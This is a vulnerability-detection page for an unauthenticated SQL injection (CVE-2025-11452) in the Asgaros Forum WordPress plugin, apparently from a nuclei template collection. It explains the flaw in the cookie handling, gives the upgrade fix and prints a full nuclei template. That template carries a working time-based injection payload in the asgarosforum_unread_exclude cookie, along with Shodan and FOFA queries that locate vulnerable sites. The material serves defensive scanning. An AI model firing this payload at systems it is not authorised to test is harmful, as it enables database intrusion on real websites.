Asgaros Forum < 3.2.0 - SQL Injection

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

Asgaros Forum for WordPress versions prior to 3.2.0 is vulnerable to unauthenticated SQL injection through the asgarosforum_unread_exclude cookie. The cookie is JSON-decoded and its object keys are imploded into a NOT IN() clause without sanitisation. The vulnerable query only runs while rendering the forum page, so the payload must be sent there rather than to the site root.

Impact

Unauthenticated attackers can execute arbitrary SQL against the WordPress database.

Fix

Update Asgaros Forum to 3.2.0 or later.

How to confirm it

Send: GET {{BaseURL}}/forum/ ; GET {{BaseURL}}/forums/ ; GET {{BaseURL}}/community/ ; GET {{BaseURL}}/board/ ; GET {{BaseURL}}/
Positive when: matches /<body\b[^>]*\bclass=["'][^"']*\basgaros-forum\b[^"']*["']/ AND duration >= 7 and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-11452 -u <target>

The full check

id: CVE-2025-11452

info:
  name: Asgaros Forum < 3.2.0 - SQL Injection
  author: Pauullamm
  severity: high
  description: |
    Asgaros Forum for WordPress versions prior to 3.2.0 is vulnerable to unauthenticated SQL injection through the asgarosforum_unread_exclude cookie. The cookie is JSON-decoded and its object keys are imploded into a NOT IN() clause without sanitisation. The vulnerable query only runs while rendering the forum page, so the payload must be sent there rather than to the site root.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL against the WordPress database.
  remediation: |
    Update Asgaros Forum to 3.2.0 or later.
  reference:
    - https://wpscan.com/vulnerability/e89f1f31-dc70-4ea5-b389-81c8be5b10c6/
    - https://plugins.trac.wordpress.org/browser/asgaros-forum/trunk/includes/forum-unread.php
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-11452
    epss-score: 0.01602
    epss-percentile: 0.76027
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 5
    vendor: asgaros
    product: asgaros-forum
    framework: wordpress
    shodan-query: html:"/wp-content/plugins/asgaros-forum"
    fofa-query: body="/wp-content/plugins/asgaros-forum"
  tags: cve,cve2025,wordpress,wp-plugin,asgaros-forum,sqli,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/forum/"
      - "{{BaseURL}}/forums/"
      - "{{BaseURL}}/community/"
      - "{{BaseURL}}/board/"
      - "{{BaseURL}}/"

    headers:
      Cookie: 'asgarosforum_unread_exclude={"(SELECT(0)FROM(SELECT(SLEEP(7)))a)":1}'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '<body\b[^>]*\bclass=["''][^"'']*\basgaros-forum\b[^"'']*["'']'

      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from